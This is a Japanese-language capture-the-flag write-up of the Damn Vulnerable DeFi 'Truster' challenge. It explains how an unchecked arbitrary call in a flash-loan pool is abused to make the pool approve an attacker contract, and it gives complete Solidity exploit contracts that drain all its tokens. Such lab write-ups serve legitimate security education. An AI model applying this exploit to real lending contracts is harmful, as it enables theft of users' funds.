#チャレンジ#3 - トラスター
トラスター
Solidity と Foundry のシステム的な学習のために、私は Foundry テストフレームワークを使用して、damnvulnerable-defi の解答を再構築しました。交流や共同開発を歓迎します〜🎉
コントラクト#
- TrusterLenderPool:フラッシュローン機能を提供し、プールには 100 万 DVT トークンがあります。
スクリプト#
- DamnValuableToken、TrusterLenderPool コントラクトをデプロイします。
- プールに 100 万 DVT トークンを送金します。
- 攻撃スクリプトを実行します。
- 100 万トークンがすべてプレイヤーアカウントに帰属し、プールの残高がクリアされることを期待します。
解答#
フラッシュローンメソッド内のプールでは、まず現在のトークン残高 balanceBefore を計算する必要があります。次に、トークンを借り手に移動し、指定された target.functionCall を実行し、最後に現在の残高と balanceBefore を検証します。
以前のフラッシュローンとは異なり、このプールは IERC3156FlashLender を継承していません。代わりに、渡された target と calldata を呼び出してコールバック機能を実行します。
したがって、主な攻撃対象は target.functionCall であり、次の内容を含みます:
- 指定された量のトークンを攻撃コントラクトに approve する
- 返済プロセスを実行する
functionCall の実行後、transfer メソッドを使用してトークンをプールから移動させ、全体のフローチャートは次のようになります:
課題の要件に従って、1 つのトランザクションでできるだけ多くの操作を完了する必要があります。そのため、flashloan+approve+transfer の操作を完了するために、コントラクトを作成する必要があります。
-
2 つのコントラクトが含まれます:TmpAttacker と Attacker。flashloan を実行するのは Attacker ですが、1 つのトランザクションで完了するため(コントラクトのデプロイのみ)、デプロイ時に現在のコントラクトアドレスを取得できません。そのため、TmpAttacker という別のコントラクトを作成する必要があります。
-
Attacker コントラクトのデプロイ時に pool.flashLoan が呼び出され、amount は 0 ですが、approve を行うために TOKENS_IN_POOL の数のトークンを TmpAttacker に approve します。
-
次に、TmpAttacker.withdraw を呼び出してトークンをプレイヤーアカウントに移動し、攻撃を完了します。
以下は全体のコードです:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/truster/TrusterLenderPool.sol";
import "../../src/DamnValuableToken.sol";
contract TmpAttacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
address player;
address pool;
DamnValuableToken token;
constructor(address _player,address _token, address _pool){
player = _player;
pool = _pool;
token = DamnValuableToken(_token);
}
function withdraw() external{
token.transferFrom(pool, player, TOKENS_IN_POOL);
}
}
contract Attacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
constructor(address _pool, address _token){
TmpAttacker attacker = new TmpAttacker(msg.sender, _token,_pool);
TrusterLenderPool pool = TrusterLenderPool(_pool);
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
TOKENS_IN_POOL
);
pool.flashLoan(0, address(attacker), _token, data);
attacker.withdraw();
}
}